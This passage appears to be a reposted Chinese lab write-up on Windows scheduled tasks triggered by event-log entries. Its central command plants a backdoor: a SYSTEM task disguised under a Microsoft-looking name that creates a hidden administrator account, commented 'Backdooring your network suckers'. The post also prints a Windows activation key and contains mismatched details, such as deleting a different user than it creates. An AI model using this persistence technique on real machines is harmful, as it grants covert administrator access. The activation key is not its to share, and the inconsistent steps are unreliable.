一、任务要求
设计一个以开机、关机事件为触发条件的计划任务，实现:
1、开机时新建一个用户
2、关机时删除用户
二、解决步骤
（一）实验环境搭建
事件触发的命令是schtasks。
利用schtasks完成的功能主要是：利用确定的日志事件触发net user命令，以达到新增一个管理员账户的目的。
如果利用传统的at命令，首先无法用日志事件触发，其次需要执行多条命令行时，只能将它们编写成.bat的批处理文件进行处理。
由于要用到事件触发，xp没有这个功能，所以要新建一个win7的虚拟机。
Win7激活秘钥为YKHFT KW986 GK4PY FDWYH 7TP9F
（二）开机创建用户
Schtasks的用法描述:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
务。
参数列表:
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
Examples:
SCHTASKS
SCHTASKS /?
SCHTASKS /Run /?
SCHTASKS /End /?
SCHTASKS /Create /?
SCHTASKS /Delete /?
SCHTASKS /Query /?
SCHTASKS /Change /?
SCHTASKS /ShowSid /?
开机事件的事件ID为4624，因此代码如下：
schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k net user cyx cyx /add /y /active:yes >> nul & net localgroup administrators cyx /add >nul & net user cyx /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" /f /ru system /ec Security /sc onevent /mo"*[System[Provider[@Name=‘Microsoft-Windows-Security-Auditing‘] and EventID=4624]]"
直接在命令行窗口下输入这行代码即可。
重启的时候有登录窗口，原因是关机的时候账户未删。
（三）关机删除用户
经查询关机事件ID为1074。
代码如下：
schtasks /create /tn "Microsoft\Windows\LocalEventLog" /tr "\"cmd.exe\" /k net user lemon /del > nul & exit" /f /ru system /sc onevent /ec System /mo "*[System[EventID=1074]]"
关机之前先检查一下账户情况
重启之后，结果如下图所示，账户已被删除。
开机后，再输入net user，可以看到账户在开机之后也建立成功了。
原文地址：https://www.cnblogs.com/cyx-b/p/11487845.html